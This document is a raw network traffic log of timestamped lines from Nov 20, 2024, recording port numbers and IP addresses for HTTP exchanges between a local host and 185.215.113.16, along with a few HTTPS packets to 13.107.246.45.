Nov 20, 2024 00:19:20.954853058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.954924107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.954930067 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.954991102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.955077887 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.956566095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.957863092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.957902908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.957907915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958014965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958020926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958030939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958036900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958231926 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958595037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958600998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958611965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958617926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958623886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958630085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958640099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958646059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958651066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958746910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958756924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958762884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958772898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958779097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958779097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958779097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958779097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958785057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958791971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958797932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958803892 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958810091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958815098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958821058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958854914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958859921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958869934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958873987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958884001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958889008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958899975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958906889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958913088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958919048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.958961010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959084988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959641933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959647894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959657907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959662914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959667921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959672928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959688902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959702969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959709883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959713936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959724903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959729910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959736109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959741116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959745884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959757090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959764004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959769011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959775925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959784985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959790945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959796906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959804058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959849119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959853888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959863901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959868908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959877014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959882975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959893942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959899902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.959897995 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959898949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959898949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959898949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959898949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959898949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959955931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959955931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.959991932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960004091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960009098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960021019 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960026026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960031033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960041046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960047007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960052967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960062981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960067987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960074902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960089922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960098028 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960167885 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960167885 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960167885 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960350037 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960695982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960701942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960712910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960717916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960722923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960728884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960733891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960757017 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960881948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960887909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960903883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960908890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960915089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960920095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960930109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960935116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960942030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960947037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.960956097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960956097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960956097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.960962057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961039066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961045027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961055994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961061954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961066961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961077929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961082935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961092949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961097956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961108923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961113930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961123943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961129904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961133957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961133957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961133957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961133957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961133957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961136103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961143017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961155891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961175919 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961175919 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961431980 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.961824894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961829901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961836100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961841106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961853027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961858034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961863995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961874008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961879015 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961885929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961891890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961898088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961910009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961915016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961920977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961926937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961982965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961990118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.961998940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962004900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962006092 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962007046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962007046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962007046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962007046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962008953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962017059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962028027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962033987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962059975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962076902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962084055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962095022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962097883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962105036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962106943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962116003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962120056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962125063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962125063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962125063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962126017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962132931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962145090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962151051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962156057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962196112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962196112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962196112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962806940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962815046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962826014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962831974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962836027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962846994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962852001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962857962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962868929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962873936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962878942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962886095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962897062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962902069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962907076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962912083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962918043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962918043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.962938070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962951899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962961912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962968111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962979078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962985039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.962990046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963001013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963006020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963012934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963018894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963025093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963031054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963036060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963042021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963047981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963052034 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963105917 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963105917 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963589907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963594913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963604927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963609934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963613987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963628054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963643074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963648081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963659048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963664055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963673115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963679075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963689089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963695049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963696003 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963701010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963706970 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963715076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963712931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963712931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963722944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963726997 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963732004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963737965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963742971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963752985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963758945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.963810921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963810921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.963876009 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.975578070 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.975641012 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.975919008 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.976114988 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.976114988 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.976123095 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.976125956 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.977277994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.980752945 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.980802059 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.982470989 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982477903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982489109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982513905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982521057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982531071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982537031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982542038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982547045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982558966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982564926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982573032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982572079 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.982578993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982589006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982595921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982600927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982613087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982618093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982623100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982656956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982661963 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982667923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982671022 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982671022 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982673883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982681036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982692957 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982697964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982701063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982701063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982737064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982747078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982752085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982757092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982762098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982768059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.982769966 CET	49794	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.982772112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982772112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982793093 CET	443	49794	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.982847929 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.982847929 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983093023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983098984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983109951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983233929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983239889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983249903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983254910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983263969 CET	80	49765	185.215.113.16	192.168.2.6
